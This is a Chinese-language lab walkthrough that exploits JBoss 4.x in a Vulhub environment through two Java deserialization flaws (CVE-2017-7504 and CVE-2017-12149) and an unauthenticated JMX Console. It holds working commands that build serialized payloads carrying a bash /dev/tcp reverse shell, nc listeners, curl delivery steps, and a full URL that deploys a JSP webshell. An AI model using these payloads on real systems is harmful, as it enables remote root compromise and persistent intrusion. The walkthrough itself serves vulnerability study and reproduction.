JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
一、漏洞环境
使用Vulhub靶场环境,\vulhub-master\jboss\CVE-2017-7504目录下,docker启动环境
docker-compose up -d
查看启动状态 docker-compose ps
显示服务已启动,访问靶机地址8080端口,服务已成功启动
二、信息收集
使用whatweb探查目标站点指纹信息,参数说明,-v详细列出指纹信息,--url-suffix= 拼接url后缀
whatweb -v http://192.168.227.129 --url-suffix=":8080"
探查到目标使用JBoss 4.0.5.GA,可针对此信息,展开 漏洞利用尝试。
三、 JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
vulhub靶机:192.168.227.129
kali攻击机:192.168.227.128
靶机服务docker启动,在vulhub/jboss/CVE-2017-7504目录下
docker-compose up -d
访问靶机8080端口,漏洞环境已成功启动
访问/jbossmq-httpil/HTTPServerILServlet路径,返回如下页面,则可能存在该漏洞
这里用到JavaDeserH2HC-master工具,实现漏洞利用
https://github.com/joaomatosf/JavaDeserH2HC
kali进入到JavaDeserH2HC的文件下,执行编译生成恶意java类
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
生成ser文件,ser全称serialize,序列化恶意数据至文件。
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.227.128/8888 0>&1"
kali开启监听端口8888
nc -lvp 8888
使用curl,以二进制方式post发送数据 ,--data-binary意为二进制方式的post传送
curl http://192.168.227.129:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
监听位置则反弹一个shell,且为root权限
四、jboss 反序列化 (CVE-2017-12149)
vulhub靶机:192.168.227.129
kali攻击机:192.168.227.128
靶机服务docker启动,在/vulhub/jboss/CVE-2017-12149目录下
docker-compose up -d
访问靶机8080端口,漏洞环境已成功启动
访问目标靶机/invoker/readonly路径,若状态码500返回如下页面,则可能存在该漏洞
依然使用JavaDeserH2HC工具,进行漏洞的复现利用
攻击机进入到JavaDeserH2HC的文件下,执行编译生成恶意java类
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
修改接收shell的IP和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.227.128:8888
开启攻击机端口监听8888
nc -lvp 8888
利用curl,发送恶意数据到目标站点
curl http://192.168.227.129:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
监听端口返回一个shell,权限为 root
五、JMX Console未授权访问
默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
需要验证的时候可以尝试弱口令登陆进入。admin\admin
能够进入jmx-console后,我们开始部署war包。
http://192.168.227.129/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=hack.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
这里arg0代表war包的名称、arg1=文件名称 、arg2=文件后缀名、arg3=文件内容。
arg3解码后的内容:<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>(f表示文件名,t表示文件内容)
执行成功,回到jmx-console下,找到jboss.web.deployment下,可以看到我们的hack.wa已成功部署。
我们写入一个1.txt文件进行测试。
http://ip/hack/shell.jsp?f=1.txt&t=hello world!
访问查看,文件确实被成功写入,后续可以依此法写入webshell。